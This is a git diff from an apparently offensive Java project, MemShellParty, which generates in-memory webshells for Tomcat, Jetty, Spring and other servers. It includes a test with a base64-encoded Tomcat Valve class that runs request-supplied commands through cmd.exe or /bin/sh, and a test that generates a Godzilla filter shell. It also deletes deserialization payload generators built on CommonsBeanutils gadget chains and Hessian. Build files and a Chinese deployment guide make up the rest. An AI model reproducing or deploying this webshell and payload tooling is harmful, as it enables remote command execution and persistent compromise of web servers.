String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
||||||
|
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.entity.Config;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
@@ -8,6 +7,9 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
|
|||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
|
||||||
@@ -24,14 +26,22 @@ public class ConfigControllerIntegrationTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Config> response = restTemplate.getForEntity("/config", Config.class);
|
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
|
}
|
||||||
|
|
||||||
Config config = response.getBody();
|
@Test
|
||||||
assertNotNull(config);
|
public void testConfigServersEndpoint() {
|
||||||
assertNotNull(config.getServers());
|
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
|
||||||
assertNotNull(config.getCore());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(config.getPackers());
|
assertNotNull(response.getBody());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void testConfigPackersEndpoint() {
|
||||||
|
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
|
||||||
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
|
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/9/16
|
||||||
|
*/
|
||||||
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
|
class MemShellGeneratorControllerTest {
|
||||||
|
|
||||||
|
@Autowired
|
||||||
|
TestRestTemplate restTemplate;
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void generateShell() {
|
||||||
|
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
||||||
|
request.setShellConfig(ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shrink(true)
|
||||||
|
.debug(true)
|
||||||
|
.serverVersion("Unknown")
|
||||||
|
.targetJreVersion(50)
|
||||||
|
.build());
|
||||||
|
request.setInjectorConfig(InjectorConfig.builder()
|
||||||
|
.urlPattern("/*")
|
||||||
|
.build());
|
||||||
|
request.setPacker(Packers.ScriptEngine);
|
||||||
|
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
||||||
|
shellToolConfigDTO.setGodzillaKey("key");
|
||||||
|
shellToolConfigDTO.setGodzillaPass("pass");
|
||||||
|
shellToolConfigDTO.setHeaderName("User-Agent");
|
||||||
|
shellToolConfigDTO.setHeaderValue("hello");
|
||||||
|
request.setShellToolConfig(shellToolConfigDTO);
|
||||||
|
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||||
|
"/memshell/generate", request, MemShellGenerateResponse.class);
|
||||||
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
plugins {
|
||||||
|
`kotlin-dsl`
|
||||||
|
}
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
rootProject.name = "build-logic"
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
plugins {
|
||||||
|
id("com.vanniktech.maven.publish")
|
||||||
|
}
|
||||||
|
|
||||||
|
mavenPublishing {
|
||||||
|
publishToMavenCentral(true)
|
||||||
|
signAllPublications()
|
||||||
|
coordinates(
|
||||||
|
"io.github.reajason",
|
||||||
|
project.name,
|
||||||
|
rootProject.version as String
|
||||||
|
)
|
||||||
|
|
||||||
|
pom {
|
||||||
|
name.set("MemShellParty")
|
||||||
|
description.set(project.description)
|
||||||
|
url.set("https://github.com/ReaJason/MemShellParty")
|
||||||
|
inceptionYear.set("2025")
|
||||||
|
licenses {
|
||||||
|
license {
|
||||||
|
name.set("MIT")
|
||||||
|
url.set("https://spdx.org/licenses/MIT.html")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
developers {
|
||||||
|
developer {
|
||||||
|
id.set("reajason")
|
||||||
|
name.set("ReaJason")
|
||||||
|
url.set("https://reajason.eu.org")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
scm {
|
||||||
|
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
|
||||||
|
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
|
||||||
|
url.set("https://github.com/ReaJason/MemShellParty")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
version = project.getProperties().get("version") != "unspecified" ? version : '1.0.0'
|
|
||||||
|
|
||||||
allprojects {
|
|
||||||
if (it.name != 'bom') {
|
|
||||||
apply(plugin: 'java')
|
|
||||||
apply(plugin: 'idea')
|
|
||||||
apply(plugin: 'jacoco')
|
|
||||||
}
|
|
||||||
|
|
||||||
if (it.name != 'bom' && !it.name.startsWith("vul")) {
|
|
||||||
dependencies {
|
|
||||||
implementation platform(project(':bom'))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
idea {
|
|
||||||
module {
|
|
||||||
excludeDirs += file('src')
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
jacocoTestReport {
|
|
||||||
reports {
|
|
||||||
xml.required = true
|
|
||||||
csv.required = true
|
|
||||||
html.required = true
|
|
||||||
}
|
|
||||||
afterEvaluate {
|
|
||||||
executionData.from fileTree(rootDir) {
|
|
||||||
include '**/build/jacoco/**/*.exec'
|
|
||||||
}
|
|
||||||
|
|
||||||
sourceDirectories = files('generator/src/main/java')
|
|
||||||
|
|
||||||
classDirectories.from(
|
|
||||||
fileTree('generator/build/classes/java/main') {
|
|
||||||
excludes = [
|
|
||||||
'com/reajason/javaweb/memsell/**/godzilla/**',
|
|
||||||
'com/reajason/javaweb/memsell/**/injector/**',
|
|
||||||
'com/reajason/javaweb/memsell/**/command/**',
|
|
||||||
'com/reajason/javaweb/config/**'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("idea")
|
||||||
|
}
|
||||||
|
|
||||||
|
idea {
|
||||||
|
module {
|
||||||
|
excludeDirs.add(file("src"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
version = "2.2.0"
|
||||||
|
|
||||||
|
tasks.register("publishAllToMavenCentral") {
|
||||||
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
|
dependsOn(":packer:publishToMavenCentral")
|
||||||
|
dependsOn(":generator:publishToMavenCentral")
|
||||||
|
}
|
||||||
@@ -1,27 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id "io.freefair.lombok" version "8.11"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
java {
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
|
||||||
implementation 'commons-io:commons-io'
|
|
||||||
implementation 'org.apache.commons:commons-lang3'
|
|
||||||
implementation 'commons-codec:commons-codec'
|
|
||||||
implementation 'org.jetbrains:annotations'
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
|
||||||
testImplementation "org.mockito:mockito-core"
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id "io.freefair.lombok" version "8.11"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
|
||||||
|
|
||||||
implementation 'com.caucho:hessian:4.0.66'
|
|
||||||
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
}
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import lombok.Data;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
public class DeserializeConfig {
|
|
||||||
private PayloadType payloadType;
|
|
||||||
}
|
|
||||||
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.caucho.hessian.io.Hessian2Output;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/19
|
|
||||||
*/
|
|
||||||
public class Hessian2DeserializeGenerator {
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
|
||||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
||||||
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
|
||||||
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
|
||||||
hessian2Output.writeObject(obj);
|
|
||||||
hessian2Output.close();
|
|
||||||
return bos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.caucho.hessian.io.HessianOutput;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/19
|
|
||||||
*/
|
|
||||||
public class HessianDeserializeGenerator {
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
|
||||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
||||||
HessianOutput hessianOutput = new HessianOutput(bos);
|
|
||||||
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
|
|
||||||
hessianOutput.writeObject(obj);
|
|
||||||
hessianOutput.close();
|
|
||||||
return bos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,25 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.ObjectOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public class JavaDeserializeGenerator {
|
|
||||||
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes);
|
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
|
||||||
oos.writeObject(obj);
|
|
||||||
oos.flush();
|
|
||||||
oos.close();
|
|
||||||
return baos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public interface Payload {
|
|
||||||
/**
|
|
||||||
* 将恶意类字节流封装成序列化对象
|
|
||||||
*
|
|
||||||
* @param bytes 恶意类字节流
|
|
||||||
* @return 序列化对象
|
|
||||||
*/
|
|
||||||
default Object generate(byte[] bytes) {
|
|
||||||
throw new UnsupportedOperationException();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 将恶意类字节流封装成序列化对象
|
|
||||||
*
|
|
||||||
* @param bytes 恶意类字节流
|
|
||||||
* @param className 恶意类名
|
|
||||||
* @return 序列化对象
|
|
||||||
*/
|
|
||||||
default Object generate(byte[] bytes, String className) {
|
|
||||||
throw new UnsupportedOperationException();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,44 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
|
||||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
|
|
||||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
|
|
||||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
|
|
||||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
|
|
||||||
import lombok.Getter;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
public enum PayloadType {
|
|
||||||
/**
|
|
||||||
* CB 链
|
|
||||||
*/
|
|
||||||
CommonsBeanutils16(new CommonsBeanutils16()),
|
|
||||||
CommonsBeanutils18(new CommonsBeanutils18()),
|
|
||||||
CommonsBeanutils19(new CommonsBeanutils19()),
|
|
||||||
CommonsBeanutils110(new CommonsBeanutils110()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Hessian XSLT write
|
|
||||||
*/
|
|
||||||
XSLTScriptEngine(new XSLTScriptEngine())
|
|
||||||
;
|
|
||||||
|
|
||||||
private final Payload payload;
|
|
||||||
|
|
||||||
PayloadType(Payload payload) {
|
|
||||||
this.payload = payload;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static PayloadType getPayloadType(String payloadType) {
|
|
||||||
for (PayloadType value : values()) {
|
|
||||||
if (value.name().equals(payloadType)) {
|
|
||||||
return value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new IllegalArgumentException("unknown payload type: " + payloadType);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,103 @@
|
|||||||
|
## 本地构建
|
||||||
|
|
||||||
|
### 源代码构建
|
||||||
|
|
||||||
|
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
||||||
|
|
||||||
|
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
||||||
|
|
||||||
|
1. 使用 Git Clone 项目
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/ReaJason/MemShellParty.git
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/web
|
||||||
|
|
||||||
|
bun install
|
||||||
|
|
||||||
|
bun run build
|
||||||
|
```
|
||||||
|
|
||||||
|
3. 构建后端项目,确保使用 JDK17 环境
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty
|
||||||
|
|
||||||
|
./gradlew :boot:bootjar -x test
|
||||||
|
```
|
||||||
|
|
||||||
|
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar`
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
java -jar \
|
||||||
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||||
|
build/libs/boot-2.0.0.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
也可这基础上再继续构建容器来使用
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
docker buildx build -t memshell-party:latest . --load
|
||||||
|
|
||||||
|
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### Dockerfile 一键构建
|
||||||
|
|
||||||
|
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
||||||
|
|
||||||
|
下载项目根目录的 [Dockerfile](./Dockerfile)
|
||||||
|
|
||||||
|
- ROUTE_ROOT_PATH: 前端根路由配置
|
||||||
|
- CONTEXT_PATH: 后端访问前缀
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 基础构建
|
||||||
|
docker buildx build \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# 基础镜像启动,访问 127.0.0.1:8080
|
||||||
|
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||||
|
|
||||||
|
# 自定义访问路径构建
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||||
|
--build-arg CONTEXT_PATH=/memshell-party \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
||||||
|
docker run -it -p 8080:8080 \
|
||||||
|
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||||
|
memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
|
||||||
|
|
||||||
|
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
|
||||||
|
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
|
||||||
|
|
||||||
|
```text
|
||||||
|
location /memshell-party {
|
||||||
|
proxy_pass http://127.0.0.1:8080;
|
||||||
|
proxy_set_header Host $http_host;
|
||||||
|
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||||
|
proxy_set_header X-Forwarded-For $remote_addr;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_connect_timeout 3s;
|
||||||
|
proxy_read_timeout 300s;
|
||||||
|
proxy_send_timeout 300s;
|
||||||
|
proxy_buffer_size 16k;
|
||||||
|
proxy_buffers 8 64k;
|
||||||
|
proxy_busy_buffers_size 128k;
|
||||||
|
}
|
||||||
|
```
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
## 适配情况
|
||||||
|
|
||||||
|
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||||
|
|
||||||
|
### 中间件以及框架
|
||||||
|
|
||||||
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|
|----------------------|------------------------|----------------------|----------------------|
|
||||||
|
| Servlet | Servlet | Filter | Filter |
|
||||||
|
| Filter | Filter | Listener | Listener |
|
||||||
|
| Listener | Listener | Valve | Valve |
|
||||||
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||||
|
|---------------------|--------------------------|-----------------|--------------|
|
||||||
|
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||||
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
|
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||||
|
| FilterChain - Agent | | NettyHandler | |
|
||||||
|
|
||||||
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|
|----------------------|----------------------------|------------------------|------------------------|
|
||||||
|
| Filter | Filter | Servlet | Servlet |
|
||||||
|
| Listener | Listener | Filter | Filter |
|
||||||
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
|
